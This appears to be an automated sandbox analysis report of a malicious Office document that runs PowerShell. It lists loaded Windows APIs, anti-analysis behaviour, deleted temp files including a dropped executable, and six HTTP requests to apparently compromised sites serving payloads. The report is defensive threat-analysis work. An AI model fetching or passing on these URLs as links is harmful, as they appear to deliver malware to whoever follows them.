- DynamicLoader: kernel32.dll/GetConsoleModeW
- DynamicLoader: kernel32.dll/SetConsoleMode
- DynamicLoader: kernel32.dll/SetConsoleModeW
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: kernel32.dll/GetCurrentProcessW
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandler
- DynamicLoader: kernel32.dll/SetConsoleCtrlHandlerW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/GetTokenInformationW



- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/LocalAllocW
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenExW
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/CheckTokenMembershipW
- DynamicLoader: kernel32.dll/GetStdHandle
- DynamicLoader: kernel32.dll/GetConsoleMode
- DynamicLoader: kernel32.dll/GetConsoleTitle
- DynamicLoader: kernel32.dll/GetConsoleTitleW
- DynamicLoader: kernel32.dll/GetProcessTimes
- DynamicLoader: kernel32.dll/GetProcessTimesW
- DynamicLoader: kernel32.dll/GetDynamicTimeZoneInformation
- DynamicLoader: kernel32.dll/SetConsoleTitle
- DynamicLoader: kernel32.dll/SetConsoleTitleW
- DynamicLoader: kernel32.dll/GetFileMUIPath
- DynamicLoader: kernel32.dll/LoadLibraryEx
- DynamicLoader: kernel32.dll/LoadLibraryExW
- DynamicLoader: kernel32.dll/FreeLibrary
- DynamicLoader: kernel32.dll/FreeLibraryW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ADVAPI32.dll/CreateWellKnownSid
- DynamicLoader: kernel32.dll/CreateNamedPipe
- DynamicLoader: kernel32.dll/CreateNamedPipeW
- DynamicLoader: kernel32.dll/SetEnvironmentVariable
- DynamicLoader: kernel32.dll/SetEnvironmentVariableW
- DynamicLoader: mscoreei.dll/_CorDllMain_RetAddr
- DynamicLoader: mscoreei.dll/_CorDllMain
- DynamicLoader: mscoree.dll/GetTokenForVTableEntry
- DynamicLoader: mscoree.dll/SetTargetForVTableEntry
- DynamicLoader: mscoree.dll/GetTargetForVTableEntry
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry_RetAddr
- DynamicLoader: mscoreei.dll/GetTokenForVTableEntry
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry_RetAddr
- DynamicLoader: mscoreei.dll/SetTargetForVTableEntry
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: kernel32.dll/ExpandEnvironmentStrings
- DynamicLoader: kernel32.dll/ExpandEnvironmentStringsW
- DynamicLoader: kernel32.dll/GetTimeZoneInformation
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKey
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyEx
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
- DynamicLoader: secur32.dll/GetUserNameEx
- DynamicLoader: secur32.dll/GetUserNameExW
- DynamicLoader: ADVAPI32.dll/GetUserName
- DynamicLoader: ADVAPI32.dll/GetUserNameW
- DynamicLoader: kernel32.dll/EnumCalendarInfoExEx
- DynamicLoader: kernel32.dll/GetCalendarInfoEx
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/EnumTimeFormatsEx
- DynamicLoader: kernel32.dll/ReleaseMutex
- DynamicLoader: ADVAPI32.dll/RegisterEventSource
- DynamicLoader: ADVAPI32.dll/RegisterEventSourceW
- DynamicLoader: ADVAPI32.dll/DeregisterEventSource
- DynamicLoader: ADVAPI32.dll/ReportEvent
- DynamicLoader: ADVAPI32.dll/ReportEventW
- DynamicLoader: kernel32.dll/GetLogicalDrives
- DynamicLoader: kernel32.dll/GetDriveType
- DynamicLoader: kernel32.dll/GetDriveTypeW
- DynamicLoader: kernel32.dll/GetVolumeInformation



- DynamicLoader: kernel32.dll/GetVolumeInformationW
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPath
- DynamicLoader: SHLWAPI.dll/PathIsNetworkPathW
- DynamicLoader: shell32.dll/
- DynamicLoader: kernel32.dll/GetFileAttributes
- DynamicLoader: kernel32.dll/GetFileAttributesW
- DynamicLoader: kernel32.dll/GetCurrentDirectory
- DynamicLoader: kernel32.dll/GetCurrentDirectoryW
- DynamicLoader: kernel32.dll/GetSystemDirectory
- DynamicLoader: kernel32.dll/GetSystemDirectoryW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/GetTempPath
- DynamicLoader: kernel32.dll/GetTempPathW
- DynamicLoader: CRYPTSP.dll/CryptGetDefaultProviderW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: kernel32.dll/WriteFile
- DynamicLoader: ADVAPI32.dll/SaferIdentifyLevel
- DynamicLoader: ADVAPI32.dll/SaferComputeTokenFromLevel
- DynamicLoader: ADVAPI32.dll/SaferCloseLevel
- DynamicLoader: kernel32.dll/DeleteFile
- DynamicLoader: kernel32.dll/DeleteFileW
- DynamicLoader: kernel32.dll/GetSystemInfo
- DynamicLoader: kernel32.dll/QueryPerformanceFrequency
- DynamicLoader: kernel32.dll/QueryPerformanceCounter
- DynamicLoader: kernel32.dll/CreateEvent
- DynamicLoader: kernel32.dll/CreateEventW
- DynamicLoader: kernel32.dll/SetEvent
- DynamicLoader: uxtheme.dll/ThemeInitApiHook
- DynamicLoader: USER32.dll/IsProcessDPIAware
- DynamicLoader: ole32.dll/CoWaitForMultipleHandles
- DynamicLoader: kernel32.dll/SetThreadUILanguage
- DynamicLoader: kernel32.dll/SetThreadUILanguageW
- DynamicLoader: kernel32.dll/FindFirstFile
- DynamicLoader: kernel32.dll/FindFirstFileW
- DynamicLoader: kernel32.dll/FindClose
- DynamicLoader: kernel32.dll/FindNextFile
- DynamicLoader: kernel32.dll/FindNextFileW
- DynamicLoader: kernel32.dll/GetACP
- DynamicLoader: kernel32.dll/UnmapViewOfFile
- DynamicLoader: kernel32.dll/SetFilePointer
- DynamicLoader: kernel32.dll/ReadFile
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: kernel32.dll/GetLastError
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: kernel32.dll/WriteConsole
- DynamicLoader: kernel32.dll/WriteConsoleW
- DynamicLoader: kernel32.dll/GetConsoleOutputCP
- DynamicLoader: kernel32.dll/GetConsoleOutputCPW
- DynamicLoader: GDI32.dll/TranslateCharsetInfo
- DynamicLoader: GDI32.dll/TranslateCharsetInfoW
- DynamicLoader: kernel32.dll/GetModuleFileName
- DynamicLoader: kernel32.dll/GetModuleFileNameW
- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: kernel32.dll/GetFileSize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize



- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ole32.dll/CoInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: rasapi32.dll/RasEnumConnections
- DynamicLoader: rasapi32.dll/RasEnumConnectionsW
- DynamicLoader: rtutils.dll/TraceRegisterExA
- DynamicLoader: rtutils.dll/TracePrintfExA
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: WS2_32.dll/WSAStartup
- DynamicLoader: WS2_32.dll/WSASocket
- DynamicLoader: WS2_32.dll/WSASocketW
- DynamicLoader: WS2_32.dll/setsockopt
- DynamicLoader: WS2_32.dll/WSAEventSelect
- DynamicLoader: WS2_32.dll/ioctlsocket
- DynamicLoader: WS2_32.dll/closesocket
- DynamicLoader: WS2_32.dll/ioctlsocket
- DynamicLoader: WS2_32.dll/WSAIoctl
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW
- DynamicLoader: WS2_32.dll/WSAEventSelect
- DynamicLoader: rasapi32.dll/RasConnectionNotification
- DynamicLoader: rasapi32.dll/RasConnectionNotificationW
- DynamicLoader: sechost.dll/OpenSCManagerA
- DynamicLoader: sechost.dll/OpenServiceA
- DynamicLoader: ADVAPI32.dll/RegOpenCurrentUser
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegNotifyChangeKeyValue
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: sechost.dll/NotifyServiceStatusChangeA
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpOpenW
- DynamicLoader: winhttp.dll/WinHttpCloseHandle
- DynamicLoader: winhttp.dll/WinHttpCloseHandleW
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetTimeoutsW
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser
- DynamicLoader: kernel32.dll/ResetEvent
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: IPHLPAPI.DLL/GetNetworkParams
- DynamicLoader: DNSAPI.dll/DnsQueryConfig
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: IPHLPAPI.DLL/GetIpInterfaceEntry
- DynamicLoader: IPHLPAPI.DLL/GetBestInterfaceEx
- DynamicLoader: kernel32.dll/LocalAlloc
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2_32.dll/GetAddrInfoW
- DynamicLoader: WS2_32.dll/freeaddrinfo
- DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
- DynamicLoader: WS2_32.dll/WSAConnect
- DynamicLoader: WS2_32.dll/send
- DynamicLoader: WS2_32.dll/setsockopt
- DynamicLoader: WS2_32.dll/recv
- DynamicLoader: WS2_32.dll/shutdown
- DynamicLoader: secur32.dll/EnumerateSecurityPackagesW



- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: secur32.dll/FreeCredentialsHandle
- DynamicLoader: secur32.dll/AcquireCredentialsHandleW
- DynamicLoader: schannel.DLL/SpUserModeInitialize
- DynamicLoader: ADVAPI32.dll/RegCreateKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: secur32.dll/DeleteSecurityContext
- DynamicLoader: secur32.dll/InitializeSecurityContextW
- DynamicLoader: secur32.dll/FreeContextBuffer
- DynamicLoader: ncrypt.dll/SslOpenProvider
- DynamicLoader: ncrypt.dll/GetSChannelInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/SslIncrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslImportKey
- DynamicLoader: bcryptprimitives.dll/GetCipherInterface
- DynamicLoader: secur32.dll/QueryContextAttributesW
- DynamicLoader: ncrypt.dll/SslLookupCipherSuiteInfo
- DynamicLoader: ncrypt.dll/SslLookupCipherLengths
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertGetCertificateContextProperty
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContext
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateContextW
- DynamicLoader: CRYPT32.dll/CertCloseStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStore
- DynamicLoader: CRYPT32.dll/CertDuplicateStoreW
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStore
- DynamicLoader: CRYPT32.dll/CertEnumCertificatesInStoreW
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertOpenStore
- DynamicLoader: CRYPT32.dll/CertOpenStoreW
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStore
- DynamicLoader: CRYPT32.dll/CertAddCertificateLinkToStoreW
- DynamicLoader: kernel32.dll/LocalFree
- DynamicLoader: CRYPT32.dll/CertGetCertificateChain
- DynamicLoader: CRYPT32.dll/CertGetCertificateChainW
- DynamicLoader: USERENV.dll/GetUserProfileDirectoryW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: sechost.dll/ConvertStringSidToSidW
- DynamicLoader: USERENV.dll/RegisterGPNotification
- DynamicLoader: GPAPI.dll/RegisterGPNotificationInternal
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: sechost.dll/QueryServiceConfigW
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: USER32.dll/LoadStringW
- DynamicLoader: ncrypt.dll/BCryptOpenAlgorithmProvider
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: ncrypt.dll/BCryptGetProperty
- DynamicLoader: ncrypt.dll/BCryptCreateHash
- DynamicLoader: ncrypt.dll/BCryptHashData
- DynamicLoader: ncrypt.dll/BCryptFinishHash
- DynamicLoader: ncrypt.dll/BCryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptCreateHash
- DynamicLoader: CRYPTSP.dll/CryptHashData



- DynamicLoader: CRYPTSP.dll/CryptVerifySignatureA
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: cryptnet.dll/I_CryptNetGetConnectivity
- DynamicLoader: SensApi.dll/IsNetworkAlive
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: cryptnet.dll/CryptRetrieveObjectByUrlW
- DynamicLoader: SHLWAPI.dll/UrlGetPartW
- DynamicLoader: winhttp.dll/WinHttpOpen
- DynamicLoader: winhttp.dll/WinHttpSetTimeouts
- DynamicLoader: winhttp.dll/WinHttpSetOption
- DynamicLoader: winhttp.dll/WinHttpCrackUrl
- DynamicLoader: SHLWAPI.dll/StrCmpNW
- DynamicLoader: winhttp.dll/WinHttpConnect
- DynamicLoader: winhttp.dll/WinHttpOpenRequest
- DynamicLoader: winhttp.dll/WinHttpGetDefaultProxyConfiguration
- DynamicLoader: winhttp.dll/WinHttpGetIEProxyConfigForCurrentUser
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: profapi.dll/
- DynamicLoader: winhttp.dll/WinHttpSendRequest
- DynamicLoader: WS2_32.dll/GetAddrInfoW
- DynamicLoader: WS2_32.dll/WSASocketW
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/WSAIoctl
- DynamicLoader: WS2_32.dll/FreeAddrInfoW
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/
- DynamicLoader: WS2_32.dll/WSARecv
- DynamicLoader: WS2_32.dll/WSASend
- DynamicLoader: winhttp.dll/WinHttpReceiveResponse
- DynamicLoader: winhttp.dll/WinHttpQueryHeaders
- DynamicLoader: winhttp.dll/WinHttpQueryDataAvailable
- DynamicLoader: WS2_32.dll/
- DynamicLoader: winhttp.dll/WinHttpReadData
- DynamicLoader: WS2_32.dll/
- DynamicLoader: winhttp.dll/WinHttpCloseHandle
- DynamicLoader: setupapi.dll/SetupIterateCabinetW
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: Cabinet.dll/
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceConfigA
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: sechost.dll/CloseServiceHandle
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeA
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingA
- DynamicLoader: RPCRT4.dll/RpcEpResolveBinding
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/RpcStringFreeA
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: bcryptprimitives.dll/GetHashInterface
- DynamicLoader: CRYPTSP.dll/CryptGetKeyParam
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChain
- DynamicLoader: CRYPT32.dll/CertDuplicateCertificateChainW
- DynamicLoader: kernel32.dll/FormatMessage
- DynamicLoader: kernel32.dll/FormatMessageW



- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicyW
- DynamicLoader: kernel32.dll/SetLastError
- DynamicLoader: CRYPT32.dll/CertFreeCertificateChain
- DynamicLoader: CRYPT32.dll/CertVerifyCertificateChainPolicy
- DynamicLoader: CRYPT32.dll/CertFreeCertificateContext
- DynamicLoader: ncrypt.dll/SslDecrementProviderReferenceCount
- DynamicLoader: ncrypt.dll/SslFreeObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: diasymreader.dll/DllGetClassObject
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mscoree.dll/CorExitProcess
- DynamicLoader: mscoreei.dll/CorExitProcess_RetAddr
- DynamicLoader: mscoreei.dll/CorExitProcess
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: clr.dll/_CorDllMain
- DynamicLoader: kernel32.dll/CreateActCtxW
- DynamicLoader: kernel32.dll/AddRefActCtx
- DynamicLoader: kernel32.dll/ReleaseActCtx
- DynamicLoader: kernel32.dll/ActivateActCtx
- DynamicLoader: kernel32.dll/DeactivateActCtx
- DynamicLoader: kernel32.dll/GetCurrentActCtx
- DynamicLoader: kernel32.dll/QueryActCtxW
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: fastprox.dll/DllGetClassObject
- DynamicLoader: fastprox.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: PSAPI.DLL/EnumProcesses
- DynamicLoader: PSAPI.DLL/EnumProcessModules
- DynamicLoader: PSAPI.DLL/GetModuleBaseNameW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
- DynamicLoader: USER32.dll/GetLastInputInfo
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: FastProx.dll/DllGetClassObject
- DynamicLoader: FastProx.dll/DllCanUnloadNow

- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ole32.dll/CLSIDFromString
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ole32.dll/CoGetCallContext
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled

A process attempted to delay the analysis task.

- Process: WmiPrvSE.exe tried to sleep 420 seconds, actually delayed analysis time by 0 seconds

Guard pages use detected - possible anti-debugging.

Anomalous file deletion behavior detected (10+)

- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DFA9B902D963747659.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DFD465369554CB8D11.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~DF3DAE15AF98ED9BA6.TMP
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\~\$rts_service
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6E0852F0-318C-4F34-84C4-CF2712B06908}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5560E46A-5AF8-42D8-A5AD-CC66281EBD6C}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\CVR839D.tmp.cvr
- DeletedFile: C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B7FC3196-2165-4E5E-AF24-60F5AB1D8770}.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\rsozhx5v.0vn.ps1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\qa4pnh5t.5sk.psm1
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Cab2701.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\Tar2702.tmp
- DeletedFile: C:\Users\Seven01\AppData\Local\Temp\WORd\2019\Sks2c17.exe

Attempts to connect to a dead IP:Port (1 unique times)

- IP: 192.168.56.1:80

SetUnhandledExceptionFilter detected (possible anti-debug)

6 HTTP Request(s) detected

<http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/>

Hostname: aboveandbelow.com.au

IP Address: 0.0.0.0

Port: 80

Count: 1

<http://athleteacademy.net/wp-admin/VDDIV/>



Hostname: athleteacademy.net
IP Address: 188.64.187.125
Port: 80
Count: 1

http://www.jayamelectronics.com/assets/TwgdI/
Hostname: www.jayamelectronics.com
IP Address: 75.119.202.167
Port: 80
Count: 1

http://intelligence.com.sg/registration/JGX3I/
Hostname: intelligence.com.sg
IP Address: 43.229.84.164
Port: 80
Count: 1

http://sorvetesbrotinho.com.br/novo/8edJm/
Hostname: sorvetesbrotinho.com.br
IP Address: 66.33.221.114
Port: 80
Count: 1

http://printed.com.mx/fonts/E6a/
Hostname: printed.com.mx
IP Address: 207.210.232.36
Port: 80
Count: 1